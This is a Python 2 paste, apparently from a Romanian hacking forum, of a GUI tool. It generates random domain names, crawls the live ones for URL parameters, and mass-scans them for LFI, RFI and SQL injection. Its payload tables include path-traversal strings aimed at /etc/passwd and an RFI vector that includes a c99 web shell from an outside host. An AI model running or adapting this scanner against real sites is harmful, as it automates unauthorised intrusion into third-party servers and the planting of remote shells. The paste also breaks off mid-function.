Advertisement
Guest User

cmiN

a guest
Aug 26th, 2009
17,323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 38.66 KB | None | 0 0
  1. #! /usr/bin/env python
  2. # 20.04.2009 <-> 26.08.2009 | cmiN
  3. # non-standard modules = ( Pmw )
  4.  
  5.  
  6.  
  7. from Tkinter import *
  8. from multiprocessing import Pool, freeze_support
  9. from winsound import Beep
  10. from formatter import NullFormatter
  11. from htmllib import HTMLParser
  12. import tkFont, tkMessageBox, tkFileDialog, Pmw, socket, urllib2, urlparse
  13.  
  14.  
  15.  
  16. def frames():
  17.     global root, Font
  18.     root=Tk()
  19.     Font=tkFont.Font(family='Comic Sans MS', size=9, weight='bold')
  20.     frame=Frame(root)
  21.     frame.option_add("*font", Font)
  22.    
  23.  
  24.  
  25. def widgets():
  26.     global cb1, cb2, cvar1, cvar2, evar1, box, info_list
  27.     global rvar1, rvar2, evar2, entry2, button5, entry3, entry4
  28.     global evar3, evar4, cvar3, cvar4, cvar5, cvar6, cvar7, button7
  29.     global cvar8, cvar9, cvar10, button10, button6, button11
  30.     global button4, combo3, button4, button3, bvar1, rvar3
  31.     global rvar4, combo4, cvar11, evar5, evar6, entry5, entry6
  32.  
  33.     ####################### Variables #######################
  34.     cvar1=IntVar()
  35.     cvar2=IntVar()
  36.     cvar3=IntVar()
  37.     cvar4=IntVar()
  38.     cvar5=IntVar()
  39.     cvar6=IntVar()
  40.     cvar7=IntVar()
  41.     cvar9=IntVar()
  42.     cvar10=IntVar()
  43.     cvar11=IntVar()
  44.     rvar1=IntVar()
  45.     rvar2=IntVar()
  46.     rvar3=IntVar()
  47.     rvar4=IntVar()
  48.     evar1=StringVar()
  49.     evar2=StringVar()
  50.     evar3=StringVar()
  51.     evar4=StringVar()
  52.     evar5=StringVar()
  53.     evar6=StringVar()
  54.     bvar1=StringVar()
  55.  
  56.     #######################    TABS   #######################
  57.     notebook=Pmw.NoteBook(root)
  58.     notebook.pack(fill="both", expand=1, padx=5, pady=5)
  59.     page1=notebook.add("Generator")
  60.     page2=notebook.add("Scanner")
  61.     page3=notebook.add("Settings")
  62.     group1=Pmw.Group(page1, tag_text="Generate sites: ")
  63.     group2=Pmw.Group(page2, tag_text="Scan for vulnerabilities: ")
  64.     group3=Pmw.Group(page3, tag_text="Set options: ")
  65.     group1.pack(fill="both", expand=1, padx=5, pady=5)
  66.     group2.pack(fill="both", expand=1, padx=5, pady=5)
  67.     group3.pack(fill="both", expand=1, padx=5, pady=5)
  68.     notebook.tab("Generator").focus_set()
  69.     notebook.setnaturalsize()
  70.  
  71.     ####################### GENERATOR #######################
  72.     label1=Label(group1.interior(), text="String length: ")
  73.     label1.grid(row=1, column=0, pady=10, padx=10)
  74.  
  75.     cb1=Pmw.ComboBox(group1.interior(), label_text="From: ", labelpos="nw", entry_insertontime=0,
  76.                      scrolledlist_items=numbers, entry_width=15)
  77.     cb2=Pmw.ComboBox(group1.interior(), label_text="To: ", labelpos="nw", entry_insertontime=0,
  78.                      scrolledlist_items=numbers, entry_width=15)
  79.     cb1.grid(row=1, column=1, pady=10, padx=10)
  80.     cb2.grid(row=1, column=2, pady=10, padx=10)
  81.     cb1.selectitem(numbers[0])
  82.     cb2.selectitem(numbers[0])
  83.  
  84.    
  85.  
  86.     check1=Checkbutton(group1.interior(), text="a-z (26)", variable=cvar1, command=en_di_generatebutton)
  87.     check2=Checkbutton(group1.interior(), text="0-9 (10)", variable=cvar2, command=en_di_generatebutton)
  88.     check1.grid(sticky="w", row=2, column=0, pady=10, padx=10)
  89.     check2.grid(row=2, column=2, pady=10, padx=10)
  90.  
  91.     entry3=Entry(group1.interior(), textvariable=evar3, width=2)
  92.     entry4=Entry(group1.interior(), textvariable=evar4, width=2)
  93.     entry3.grid(sticky="w", row=2, column=1, pady=10, padx=10)
  94.     entry4.grid(sticky="e", row=2, column=1, pady=10, padx=10)
  95.  
  96.     label2=Label(group1.interior(), text="< - >")
  97.     label2.grid(row=2, column=1, pady=10, padx=10)
  98.  
  99.     check3=Checkbutton(group1.interior(), text='" - " (1)', variable=cvar3, command=en_di_generatebutton)
  100.     check3.grid(sticky="w", row=3, column=0, pady=10, padx=10)
  101.    
  102.     rb1=Radiobutton(group1.interior(), text="Any site", value=1, variable=rvar1)
  103.     rb2=Radiobutton(group1.interior(), text="Only valid", value=0, variable=rvar1)
  104.     rb1.grid(row=3, column=1, pady=10, padx=10)
  105.     rb2.grid(row=3, column=2, pady=10, padx=10)
  106.     rvar1.set(0)
  107.  
  108.     box=Pmw.ScrolledListBox(group1.interior(), items=domains, labelpos="nw", label_text="Domains: ",
  109.                             listbox_height=6, usehullsize=1, hull_width=70, hull_height=100
  110.                             )
  111.     box.grid(row=4, column=2, pady=10, padx=10)
  112.  
  113.     entry1=Entry(group1.interior(), textvariable=evar1, width=5)
  114.     entry1.grid(row=4, column=0, pady=10, padx=10)
  115.     entry1.focus_set()
  116.  
  117.     button1=Button(group1.interior(), text=" ->     Add domain", command=lambda arg="add": add_delete(arg), width=20)
  118.     button2=Button(group1.interior(), text="Delete selected <-", command=lambda arg="delete": add_delete(arg), width=20)
  119.     button1.grid(sticky="e", row=4, column=1, pady=10, padx=10)
  120.     button2.grid(sticky="se", row=4, column=1, pady=10, padx=10)
  121.  
  122.     button3=Button(group1.interior(), text="Test settings", command=test, fg="red", width=20)
  123.     button3.grid(sticky="sw", row=5, column=1, pady=30, padx=10)
  124.  
  125.     button4=Button(group1.interior(), text="Generate!", command=lambda arg="generate": action(arg), fg="orange", bg="black", width=20)
  126.     button4.grid(sticky="s", row=5, column=2, pady=30, padx=10)
  127.  
  128.     info_list=Pmw.TextDialog(group1.interior(), scrolledtext_labelpos="n", title="Info",
  129.                              defaultbutton=0, label_text="Test results..."
  130.                              )
  131.     info_list.withdraw()
  132.  
  133.     en_di_generatebutton()
  134.  
  135.     ####################### SCANNER #######################
  136.     rb3=Radiobutton(group2.interior(), text="Enter site", value=1, variable=rvar2,
  137.                     command=en_di_site)
  138.     rb4=Radiobutton(group2.interior(), text="Browse list", value=0, variable=rvar2,
  139.                     command=en_di_site)
  140.     rb3.grid(sticky="w", row=0, column=0, pady=10, padx=10)
  141.     rb4.grid(sticky="w", row=1, column=0, pady=10, padx=10)
  142.     rvar2.set(1)
  143.  
  144.     label3=Label(group2.interior(), text="http://")
  145.     label3.grid(row=0, column=1, pady=10)
  146.  
  147.     entry2=Entry(group2.interior(), textvariable=evar2, width=20)
  148.     entry2.grid(row=0, column=2, pady=10)
  149.     entry2.focus_set()
  150.  
  151.     label4=Label(group2.interior(), text="")
  152.     label4.grid(row=0, column=3, pady=10)
  153.  
  154.     button5=Button(group2.interior(), textvariable=bvar1, command=browse1, width=20)
  155.     button5.grid(row=1, column=2, pady=10, padx=10)
  156.  
  157.     bvar1.set("...")
  158.  
  159.     en_di_site()
  160.    
  161.     check10=Checkbutton(group2.interior(), text="Default vectors / words", variable=cvar10)
  162.     check10.grid(sticky="w", row=2, column=0, pady=10, padx=10)
  163.  
  164.     check7=Checkbutton(group2.interior(), text="Vectors / words lists", variable=cvar7, command=en_di_vector_word)
  165.     check7.grid(sticky="w", row=3, column=0, pady=10, padx=10)
  166.  
  167.     combo3=Pmw.ComboBox(group2.interior(), label_text="Vulnerability: ", labelpos="nw", entry_insertontime=0,
  168.                      scrolledlist_items=vulnerabilities, entry_width=5)
  169.     combo3.grid(row=2, column=2, pady=10, padx=10)
  170.     combo3.selectitem(vulnerabilities[0])
  171.  
  172.     button7=Button(group2.interior(), text="Vectors list...", command=browse2, width=20)
  173.     button7.grid(row=3, column=2, pady=10, padx=10)
  174.  
  175.     button10=Button(group2.interior(), text="Words list...", command=browse3, width=20)
  176.     button10.grid(row=4, column=2, pady=10, padx=10)
  177.  
  178.     en_di_vector_word()
  179.  
  180.     check9=Checkbutton(group2.interior(), text="Verbose: ON/OFF", variable=cvar9)
  181.     check9.grid(sticky="w", row=4, column=0, pady=10, padx=10)
  182.  
  183.     check4=Checkbutton(group2.interior(), text="LFI ", variable=cvar4, command=en_di_scanbutton)
  184.     check5=Checkbutton(group2.interior(), text="RFI ", variable=cvar5, command=en_di_scanbutton)
  185.     check6=Checkbutton(group2.interior(), text="SQLI", variable=cvar6, command=en_di_scanbutton)
  186.     check4.grid(row=5, column=0, pady=10, padx=10)
  187.     check5.grid(row=5, column=1, pady=10, padx=10)
  188.     check6.grid(row=5, column=2, pady=10, padx=10)
  189.  
  190.     button6=Button(group2.interior(), text="Scan!", command=lambda arg="scan": action(arg),
  191.                    fg="orange", bg="black", width=20)
  192.     button6.grid(row=6, column=2, pady=10, padx=10)
  193.  
  194.     button11=Button(group2.interior(), text="Extract links only!", command=lambda arg="extract": action(arg),
  195.                     fg="green", bg="black", width=20)
  196.     button11.grid(row=6, column=0, pady=10, padx=10)
  197.  
  198.     en_di_scanbutton()
  199.  
  200.     ####################### SETTINGS #######################
  201.     check11=Checkbutton(group3.interior(), text="HTTP proxy: ", variable=cvar11, command=en_di_proxy)
  202.     check11.grid(sticky="w", row=0, column=0, padx=10, pady=20)
  203.  
  204.     label5=Label(group3.interior(), text="Address: ")
  205.     label5.grid(sticky="e", row=1, column=0, padx=10)
  206.  
  207.     entry5=Entry(group3.interior(), textvariable=evar5, width=20)
  208.     entry5.grid(sticky="w", row=1, column=1, padx=10)
  209.  
  210.     label6=Label(group3.interior(), text="Port: ")
  211.     label6.grid(sticky="e", row=1, column=2, padx=10)
  212.  
  213.     entry6=Entry(group3.interior(), textvariable=evar6, width=10)
  214.     entry6.grid(sticky="w", row=1, column=3, padx=10)
  215.  
  216.     entry5.focus_set()
  217.     en_di_proxy()
  218.  
  219.     label7=Label(group3.interior(), text="Timeout: ")
  220.     label7.grid(sticky="w", row=2, column=0, padx=10, pady=20)
  221.  
  222.     combo4=Pmw.ComboBox(group3.interior(), entry_insertontime=0,
  223.                         scrolledlist_items=numbers, entry_width=5)
  224.     combo4.grid(sticky="w", row=2, column=1, padx=10)
  225.     combo4.selectitem(numbers[0])
  226.  
  227.     label8=Label(group3.interior(), text="seconds")
  228.     label8.grid(sticky="e", row=2, column=1)
  229.  
  230.     label9=Label(group3.interior(), text="Search for links from: ")
  231.     label9.grid(sticky="w", row=3, column=1, padx=10, pady=10)
  232.  
  233.     radio5=Radiobutton(group3.interior(), text="Base URL", value=0, variable=rvar3)
  234.     radio6=Radiobutton(group3.interior(), text="All URLs", value=1, variable=rvar3)
  235.     radio5.grid(sticky="w", row=4, column=1, padx=10)
  236.     radio6.grid(sticky="w", row=5, column=1, padx=10)
  237.     rvar3.set(0)
  238.  
  239.     label9=Label(group3.interior(), text="Search for links with: ")
  240.     label9.grid(sticky="w", row=6, column=1, padx=10, pady=10)
  241.  
  242.     radio7=Radiobutton(group3.interior(), text="Parameters", value=0, variable=rvar4)
  243.     radio8=Radiobutton(group3.interior(), text="All links", value=1, variable=rvar4)
  244.     radio7.grid(sticky="w", row=7, column=1, padx=10)
  245.     radio8.grid(sticky="w", row=8, column=1, padx=10)
  246.     rvar4.set(0)
  247.    
  248.    
  249.     #######################   HELP  #######################
  250.     pass
  251.  
  252.     ####################### Credits #######################
  253.     authors=Label(root, text="http://rstcenter.com", fg="dark green")
  254.     authors.pack(side="bottom", anchor="s")
  255.  
  256.  
  257. def tables():
  258.     global chr_table, nr_table, numbers, domains, vulnerabilities
  259.     global LFI_table, RFI_table, SQLI_table, LFI_word, RFI_word, SQLI_word
  260.     chr_table=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  261.                'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
  262.                ]
  263.     nr_table=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
  264.     numbers=["1", "2", "3", "4", "5", "6", "7", "8", "9", "10"]
  265.     domains=["ro", "com", "info", "org", "net", "eu", "it", "de", "kr", "be", "biz",
  266.              "es", "cn", "tw", "uk", "ru", "nl"]
  267.     vulnerabilities=["LFI", "RFI", "SQLI"]
  268.     LFI_table=["/etc/passwd", "/etc/passwd%00",
  269.                "../etc/passwd", "../etc/passwd%00",
  270.                "../../etc/passwd", "../../etc/passwd%00",
  271.                "../../../etc/passwd", "../../../etc/passwd%00",
  272.                "../../../../etc/passwd", "../../../../etc/passwd%00",
  273.                "../../../../../etc/passwd", "../../../../../etc/passwd%00",
  274.                "../../../../../../etc/passwd", "../../../../../../etc/passwd%00",
  275.                "../../../../../../../etc/passwd", "../../../../../../../etc/passwd%00",
  276.                "../../../../../../../../etc/passwd", "../../../../../../../../etc/passwd%00",
  277.                "../../../../../../../../../etc/passwd", "../../../../../../../../../etc/passwd%00",]
  278.     LFI_word=["root"]
  279.     RFI_table=["http://r57.gen.tr/99.txt", "http://r57.gen.tr/99.txt?"]
  280.     RFI_word=["c99"]
  281.     SQLI_table=["'"]
  282.     SQLI_word=["QF"]
  283.    
  284.  
  285.  
  286.  
  287. def generate_and_verify(table, ini, fin, cdomainsbox, cflag, ctimeout):
  288.     global nr, domainsbox, flag, timeout
  289.     nr, domainsbox, flag, timeout=0, cdomainsbox, cflag, ctimeout
  290.     ini, fin=int(ini), int(fin)
  291.     socket.setdefaulttimeout(timeout)
  292.     while ini <= fin:
  293.         txt=file("generated_sites.txt", "a")
  294.         z=ini
  295.         sites=""
  296.         for x in table:
  297.             word1=x
  298.             if z > 1:
  299.                 for x in table:
  300.                     word2=word1+x
  301.                     if z > 2:
  302.                         for x in table:
  303.                             word3=word2+x
  304.                             if z > 3:
  305.                                 for x in table:
  306.                                     word4=word3+x
  307.                                     if z > 4:
  308.                                         for x in table:
  309.                                             word5=word4+x
  310.                                             if z > 5:
  311.                                                 for x in table:
  312.                                                     word6=word5+x
  313.                                                     if z > 6:
  314.                                                         for x in table:
  315.                                                             word7=word6+x
  316.                                                             if z > 7:
  317.                                                                 for x in table:
  318.                                                                     word8=word7+x
  319.                                                                     if z > 8:
  320.                                                                         for x in table:
  321.                                                                             word9=word8+x
  322.                                                                             if z > 9:
  323.                                                                                 for x in table:
  324.                                                                                     word10=word9+x
  325.                                                                                     sites+=verify(word10)
  326.                                                                                 txt.write(sites)
  327.                                                                                 sites=""
  328.                                                                             else:
  329.                                                                                 sites+=verify(word9)
  330.                                                                         txt.write(sites)
  331.                                                                         sites=""
  332.                                                                     else:
  333.                                                                         sites+=verify(word8)
  334.                                                                 txt.write(sites)
  335.                                                                 sites=""
  336.                                                             else:
  337.                                                                 sites+=verify(word7)
  338.                                                         txt.write(sites)
  339.                                                         sites=""
  340.                                                     else:
  341.                                                         sites+=verify(word6)
  342.                                                 txt.write(sites)
  343.                                                 sites=""
  344.                                             else:
  345.                                                 sites+=verify(word5)
  346.                                         txt.write(sites)
  347.                                         sites=""
  348.                                     else:
  349.                                         sites+=verify(word4)
  350.                                 txt.write(sites)
  351.                                 sites=""
  352.                             else:
  353.                                 sites+=verify(word3)
  354.                         txt.write(sites)
  355.                         sites=""
  356.                     else:
  357.                         sites+=verify(word2)
  358.                 txt.write(sites)
  359.                 sites=""
  360.             else:
  361.                 sites+=verify(word1)
  362.         txt.write(sites)
  363.         sites=""
  364.         ini=ini+1
  365.         txt.close()
  366.     return ["generate"]
  367.  
  368.  
  369.  
  370. def verify(word):
  371.     global nr
  372.     sites=""
  373.     for x in domainsbox:
  374.         site="http://"+word+"."+x
  375.         try:
  376.             if flag==0:
  377.                 sock=urllib2.urlopen(site, timeout=timeout)
  378.                 sock.close()
  379.         except:
  380.             pass
  381.         else:
  382.             sites+=site+"\n"
  383.             nr=nr+1
  384.     return sites
  385.  
  386.  
  387.  
  388. def scan(sites, LFI_vectors, RFI_vectors, SQLI_vectors,
  389.          LFI_words, RFI_words, SQLI_words, verbose, task, timeout, level, proxy_support):
  390.     report("Scanner started!\n\n\n", "Scanner started!\n\n\n", verbose)
  391.     report("", "\n\nSites: \n\n", verbose)
  392.     for x in sites:
  393.         report("", x+"\n", verbose)
  394.     links=[]
  395.     for x in sites:
  396.         try:
  397.             links+=crawler(x, timeout, level, "parameters")
  398.         except socket.timeout:
  399.             report("\n\nTimed out: "+x, "\n\nTimed out: "+x, verbose)
  400.         except urllib2.URLError, error:
  401.             if str(error)=="<urlopen error timed out>":
  402.                 report("\n\nTimed out: "+x, "\n\nTimed out: "+x, verbose)
  403.             else:
  404.                 report("\n\nInvalid: "+x, "\n\nInvalid: "+x, verbose)
  405.     for x in range(len(links)):
  406.         parsedlink=urlparse.urlsplit(links[x])
  407.         links[x]=links[x][:links[x].index("?")+1]
  408.         parameters=parsedlink.query.split("&")
  409.         for y in parameters:
  410.             links[x]+=y[:y.index("=")+1]+"1337_vector&"
  411.         links[x]=links[x].strip("&")
  412.     for x in links:
  413.         for y in range(links.count(x)-1):
  414.             links.remove(x)
  415.     report("", "\n\nLinks crawled from sites's sources: \n\n", verbose)
  416.     for x in links:
  417.         report("", x+"\n", verbose)
  418.     if proxy_support[0]:
  419.         proxy={"http": proxy_support[1]}
  420.     else:
  421.         proxy=None
  422.     proxy_handler=urllib2.ProxyHandler(proxy)
  423.     opener=urllib2.build_opener(proxy_handler)
  424.     if "LFI" in task:
  425.         LFI(links, LFI_vectors, LFI_words, verbose, timeout, opener)
  426.     if "RFI" in task:
  427.         RFI(links, RFI_vectors, RFI_words, verbose, timeout, opener)
  428.     if "SQLI" in task:
  429.         SQLI(links, SQLI_vectors, SQLI_words, verbose, timeout, opener)
  430.     report("\n\nScanner finished!\n\n\n", "\n\nScanner finished!\n\n\n", verbose)
  431.     return ["scan"]
  432.  
  433.  
  434.  
  435. def crawler(url, timeout, level, flag):
  436.     links, visited_links, links_to_visit=[], [], []
  437.     socket.setdefaulttimeout(timeout)
  438.     rootnetloc=urlparse.urlsplit(url, allow_fragments=False).netloc
  439.     if rootnetloc.count("www") > 0:
  440.         wordindex=rootnetloc.index("www")
  441.         rootnetloc=rootnetloc[:wordindex]+rootnetloc[wordindex+3:]
  442.     result=extractor(url, timeout, flag, rootnetloc)
  443.     links+=result[1]
  444.     if level=="index":
  445.         status=False
  446.     else:
  447.         links_to_visit+=result[0]
  448.         status=True
  449.     while status:
  450.         status=False
  451.         for x in links_to_visit:
  452.             links_to_visit=[]
  453.             if not x in visited_links:
  454.                 visited_links.append(x)
  455.                 status=True
  456.                 try:
  457.                     result=extractor(x, timeout, flag, rootnetloc)
  458.                 except:
  459.                     pass
  460.                 else:
  461.                     links_to_visit+=result[0]
  462.                     links+=result[1]
  463.         for x in links_to_visit:
  464.             for y in range(links_to_visit.count(x)-1):
  465.                 links_to_visit.remove(x)
  466.     for x in links:
  467.         for y in range(links.count(x)-1):
  468.             links.remove(x)
  469.     return links
  470.  
  471. def extractor(url, timeout, flag, rootnetloc):
  472.     sock=urllib2.urlopen(url, timeout=timeout)
  473.     parser=HTMLParser(NullFormatter())
  474.     parser.feed(sock.read())
  475.     sock.close()
  476.     parser.close()
  477.     brut_links=parser.anchorlist
  478.     net_links, dev_net_links=[], []
  479.     parsedurl=urlparse.urlsplit(url, allow_fragments=False)
  480.     for x in brut_links:
  481.         parsedlink=urlparse.urlsplit(x, allow_fragments=False)
  482.         if parsedlink.scheme=="":
  483.             link=urlparse.urljoin(parsedurl.geturl(), parsedlink.geturl())
  484.             if not link in net_links:
  485.                 net_links.append(link)
  486.         else:
  487.             if rootnetloc in parsedlink.netloc:
  488.                 link=parsedlink.geturl()
  489.                 if not link in net_links:
  490.                     net_links.append(link)
  491.     if flag=="parameters":
  492.         for x in net_links:
  493.             parsedlink=urlparse.urlsplit(x, allow_fragments=False)
  494.             if not parsedlink.query=="":
  495.                 dev_net_links.append(parsedlink.geturl())
  496.     else:
  497.         dev_net_links=net_links
  498.     return net_links, dev_net_links
  499.        
  500.  
  501.  
  502. def LFI(links, LFI_vectors, LFI_words, verbose, timeout, opener):
  503.     report("\n\nScanning for LFI...\n\n", "\n\nScanning for LFI...\n\n", verbose)
  504.     report("", "\n\nVectors: \n\n", verbose)
  505.     for x in LFI_vectors:
  506.         report("", x+"\n", verbose)
  507.     report("", "\n\nWords to search for: \n\n", verbose)
  508.     for x in LFI_words:
  509.         report("", x+"\n", verbose)
  510.     for x in links:
  511.         status=False
  512.         for y in LFI_vectors:
  513.             if status is True:
  514.                 break
  515.             try:
  516.                 site=x.replace("1337_vector", y)
  517.                 hibrid_site=x.replace("1337_vector", y[:y.index("%00")]+"1337"+y[y.index("%00"):])
  518.             except:
  519.                 hibrid_site=x.replace("1337_vector", y + "1337")
  520.             finally:
  521.                 try:
  522.                     source=opener.open(site, timeout=timeout).read()
  523.                     hibrid_source=opener.open(hibrid_site, timeout=timeout).read()
  524.                 except socket.timeout:
  525.                     report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  526.                 except urllib2.URLError, error:
  527.                     if str(error)=="<urlopen error timed out>":
  528.                         report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  529.                 else:
  530.                     for z in LFI_words:
  531.                         if source.count(z) != hibrid_source.count(z):
  532.                             report("\n\nLFI: "+site, "\n\nLFI: "+site, verbose)
  533.                             status=True
  534.                             break
  535.     report("\n\nScanning for LFI finished!\n\n", "\n\nScanning for LFI finished!\n\n", verbose)
  536.                
  537.  
  538.  
  539. def RFI(links, RFI_vectors, RFI_words, verbose, timeout, opener):
  540.     report("\n\nScanning for RFI...\n\n", "\n\nScanning for RFI...\n\n", verbose)
  541.     report("", "\n\nVectors: \n\n", verbose)
  542.     for x in RFI_vectors:
  543.         report("", x+"\n", verbose)
  544.     report("", "\n\nWords to search for: \n\n", verbose)
  545.     for x in RFI_words:
  546.         report("", x+"\n", verbose)
  547.     for x in links:
  548.         status=False
  549.         for y in RFI_vectors:
  550.             if status is True:
  551.                 break
  552.             try:
  553.                 site=x.replace("1337_vector", y)
  554.                 hibrid_site=x.replace("1337_vector", y[:y.index("?")]+"1337"+y[y.index("?"):])
  555.             except:
  556.                 hibrid_site=x.replace("1337_vector", y + "1337")
  557.             finally:
  558.                 try:
  559.                     source=opener.open(site, timeout=timeout).read()
  560.                     hibrid_source=opener.open(hibrid_site, timeout=timeout).read()
  561.                 except socket.timeout:
  562.                     report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  563.                 except urllib2.URLError, error:
  564.                     if str(error)=="<urlopen error timed out>":
  565.                         report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  566.                 else:
  567.                     for z in RFI_words:
  568.                         if source.count(z) != hibrid_source.count(z):
  569.                             report("\n\nRFI: "+site, "\n\nRFI: "+site, verbose)
  570.                             status=True
  571.                             break
  572.     report("\n\nScanning for RFI finished!\n\n", "\n\nScanning for RFI finished!\n\n", verbose)
  573.  
  574.  
  575.  
  576. def SQLI(links, SQLI_vectors, SQLI_words, verbose, timeout, opener):
  577.     report("\n\nScanning for SQLI...\n\n", "\n\nScanning for SQLI...\n\n", verbose)
  578.     report("", "\n\nVectors: \n\n", verbose)
  579.     for x in SQLI_vectors:
  580.         report("", x+"\n", verbose)
  581.     report("", "\n\nWords to search for: \n\n", verbose)
  582.     for x in SQLI_words:
  583.         report("", x+"\n", verbose)
  584.     for x in links:
  585.         status=False
  586.         for y in SQLI_vectors:
  587.             if status is True:
  588.                 break
  589.             try:
  590.                 site=x.replace("1337_vector", y)
  591.                 hibrid_site=x.replace("1337_vector", "1337")
  592.             finally:
  593.                 try:
  594.                     source=opener.open(site, timeout=timeout).read()
  595.                     hibrid_source=opener.open(hibrid_site, timeout=timeout).read()
  596.                 except socket.timeout:
  597.                     report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  598.                 except urllib2.URLError, error:
  599.                     if str(error)=="<urlopen error timed out>":
  600.                         report("\n\nTimed out: "+site, "\n\nTimed out: "+site, verbose)
  601.                 else:
  602.                     for z in SQLI_words:
  603.                         if source.count(z) != hibrid_source.count(z):
  604.                             report("\n\nSQLI: "+site, "\n\nSQLI: "+site, verbose)
  605.                             status=True
  606.                             break
  607.     report("\n\nScanning for SQLI finished!\n\n", "\n\nScanning for SQLI finished!\n\n", verbose)
  608.    
  609.  
  610.  
  611. def msgbox(type, msg):
  612.     if type=="showinfo":
  613.         tkMessageBox.showinfo(title="Info", message=msg)
  614.     elif type=="showerror":
  615.         tkMessageBox.showerror(title="Error", message=msg)
  616.     elif type=="showwarning":
  617.         tkMessageBox.showwarning(title="Warning", message=msg)    
  618.  
  619.  
  620.  
  621. def add_delete(type):
  622.     if type=="add":
  623.         items_list=box.get()+(evar1.get(), )
  624.     else:
  625.         if box.getvalue()==():
  626.             box.clear()
  627.             return
  628.         else:
  629.             items_list=[]
  630.             items_list[:]=box.get()
  631.             items_list.remove(box.getvalue()[0])
  632.     box.setlist(items_list)
  633.  
  634.  
  635. def test():
  636.     result=exceptions1()
  637.     if not result[0]:
  638.         return
  639.     timeout=result[2]
  640.     try:
  641.         sock=urllib2.urlopen("http://www.google.com", timeout=timeout)
  642.         sock.close()
  643.     except:
  644.         conn="OFF"
  645.         msgbox("showwarning", "May be a problem with your internet connection or try another timeout value.")
  646.     else:
  647.         conn="ON"
  648.         msgbox("showinfo", "Connection seems to be ok.")
  649.     y, z=int(cb1.get()), int(cb2.get())
  650.     d=len(box.get())
  651.     c=len(result[1])
  652.     n=0
  653.     for x in range(y, z+1):
  654.         n+=(c**x)*d
  655.     if rvar1.get()==0:
  656.         t_s=float(n)/0.7
  657.         t_h=t_s/3600
  658.     else:
  659.         t_s=float(n)/800000
  660.         t_h=t_s/3600
  661.     info_list.configure(text_state="normal")
  662.     info_list.clear()
  663.     info_list.insert("end", "Internet connection: "+conn+"\n")
  664.     info_list.insert("end", "Number of combinations: "+str(n)+"\n")
  665.     info_list.insert("end", "Approximately time to complete: "+str(t_s)+" seconds, "+str(t_h)+" hours\n")
  666.     info_list.configure(text_state="disabled")
  667.     info_list.activate()
  668.  
  669.  
  670. def browse1():
  671.     global txtsites
  672.     ftypes=[('Text Documents', '*.txt'),
  673.             ('Word Documents', '*.doc'),
  674.             ('XML Files', '*.xml')
  675.            ]
  676.     try:
  677.         txt_list=tkFileDialog.askopenfile(parent=root, mode='r',
  678.                                           title='Chose a text based file', filetypes=ftypes
  679.                                           )
  680.         if not txt_list is None:
  681.             variable=txt_list.readlines()
  682.             txtsites=[]
  683.             for x in variable:
  684.                 txtsites.append(x.replace("\n", ""))
  685.             name=txt_list.name.split("/")
  686.             name=name[len(name)-1]
  687.             bvar1.set(name)
  688.     except:
  689.         msgbox("showerror", "Invalid file or list!")
  690.  
  691.  
  692.  
  693. def browse2():
  694.     type=combo3.get()
  695.     global LFI_txtvectors, RFI_txtvectors, SQLI_txtvectors
  696.     ftypes=[('Text Documents', '*.txt'),
  697.             ('Word Documents', '*.doc'),
  698.             ('XML Files', '*.xml')
  699.            ]
  700.     try:
  701.         txt_list=tkFileDialog.askopenfile(parent=root, mode='r',
  702.                                           title='Chose a text based file', filetypes=ftypes
  703.                                           )
  704.         if not txt_list is None:
  705.             variable=txt_list.readlines()
  706.             list=[]
  707.             for x in variable:
  708.                 list.append(x.replace("\n", ""))
  709.             if type=="LFI":
  710.                 LFI_txtvectors=list
  711.             if type=="RFI":
  712.                 RFI_txtvectors=list
  713.             if type=="SQLI":
  714.                 SQLI_txtvectors=list
  715.     except:
  716.         msgbox("showerror", "Invalid file or list!")
  717.  
  718.  
  719.  
  720. def browse3():
  721.     type=combo3.get()
  722.     global LFI_txtwords, RFI_txtwords, SQLI_txtwords
  723.     ftypes=[('Text Documents', '*.txt'),
  724.             ('Word Documents', '*.doc'),
  725.             ('XML Files', '*.xml')
  726.            ]
  727.     try:
  728.         txt_list=tkFileDialog.askopenfile(parent=root, mode='r',
  729.                                           title='Chose a text based file', filetypes=ftypes
  730.                                           )
  731.         if not txt_list is None:
  732.             variable=txt_list.readlines()
  733.             list=[]
  734.             for x in variable:
  735.                 list.append(x.replace("\n", ""))
  736.             if type=="LFI":
  737.                 LFI_txtwords=list
  738.             if type=="RFI":
  739.                 RFI_txtwords=list
  740.             if type=="SQLI":
  741.                 SQLI_txtwords=list
  742.     except:
  743.         msgbox("showerror", "Invalid file or list!")
  744.  
  745.  
  746.  
  747. def en_di_site():
  748.     if rvar2.get()==1:
  749.         entry2["state"]="normal"
  750.         button5["state"]="disabled"
  751.     else:
  752.         entry2["state"]="disabled"
  753.         button5["state"]="normal"
  754.  
  755.  
  756.  
  757. def en_di_vector_word():
  758.     if cvar7.get()==1:
  759.         button7["state"]="normal"
  760.         button10["state"]="normal"
  761.         combo3.component("entryfield").component("entry").configure(state="normal")
  762.         combo3.component("arrowbutton").bind("<Button-1>",combo3._postList)
  763.     else:
  764.         button7["state"]="disabled"
  765.         button10["state"]="disabled"
  766.         combo3.component("entryfield").component("entry").configure(state="disabled")
  767.         combo3.component("arrowbutton").unbind("<Button-1>")
  768.  
  769.  
  770.  
  771. def en_di_scanbutton():
  772.     if cvar4.get()==0 and cvar5.get()==0 and cvar6.get()==0:
  773.         button6["state"]="disabled"
  774.     else:
  775.         button6["state"]="normal"
  776.  
  777.  
  778.  
  779. def en_di_generatebutton():
  780.     if cvar1.get()==0 and cvar2.get()==0 and cvar3.get()==0:
  781.         button4["state"]="disabled"
  782.         button3["state"]="disabled"
  783.     else:
  784.         button4["state"]="normal"
  785.         button3["state"]="normal"
  786.     if cvar1.get()==1:
  787.         entry3["state"]="normal"
  788.         entry4["state"]="normal"
  789.     else:
  790.         entry3["state"]="disabled"
  791.         entry4["state"]="disabled"
  792.  
  793.  
  794.  
  795. def en_di_proxy():
  796.     if cvar11.get()==0:
  797.         entry5["state"]="disabled"
  798.         entry6["state"]="disabled"
  799.     else:
  800.         entry5["state"]="normal"
